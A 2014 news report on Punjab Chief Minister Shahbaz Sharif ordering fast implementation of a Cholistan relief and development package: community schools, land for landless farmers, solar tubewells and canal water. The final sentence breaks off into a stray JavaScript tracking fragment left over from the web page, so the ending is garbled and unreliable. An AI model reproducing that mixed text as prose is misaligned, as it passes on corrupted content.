Published On: Sun, Mar 23rd, 2014
Published in Category: Lahore

Relief package announced for Cholistan to be implemented speedily: Shahbaz Sharif

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LAHORE: Punjab Chief Minister Muhammad Shahbaz Sharif has said that development package announced for Cholistan will be implemented speedily and he will personally monitor implementation on the development package.

He warned that no negligence or laxity will be tolerated. The Chief Minister reiterated that health, education and other facilities will be provided to the residents of Cholistan on priority basis. He said that community schools being run under Literate Cholistan Project, will continue to work in future as well.

He said this while presiding over a high level meeting to review the situation of Cholistan, here today. Chief Secretary gave a detailed briefing about the development projects of Cholistan, governmental steps and situation of Cholistan. Provincial Ministers Tanvir Aslam Malik, Iqbal Channar, Advisor on Health Kh. Salman Rafique, Assembly Members, Senior Member Board of Revenue, secretaries of concerned departments and MD Cholistan Authority attended the meeting.

Addressing the meeting, Muhammad Shahbaz Sharif said that situation in Cholistan is normal and the work on road network is also continuing speedily. He said that the community schools functioning under Literate Cholistan Project, will be run by Punjab Education Foundation. The Chief Minister said that land will be allotted to the landless farmers of Cholistan in a transparent manner and a transparent policy will be evolved for this purpose. He directed Secretary Schools to visit Community Schools of Cholistan and submit a report in this regard.

He also directed to shift the tubewells on solar panel in Cholistan. Shahbaz Sharif directed to constitute a committee comprising Provincial Ministers, Chief Secretary and other senior officials and said that this committee will monitor the implementation on the development package of Cholistan. He said that 250 cusec canal water will be provided to Cholistan.

Chief Secretary while giving briefing about the situation of Cholistan informed that the work on cleanliness of 1100 water ponds and restoration of water pipelines has been started in Cholistan.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;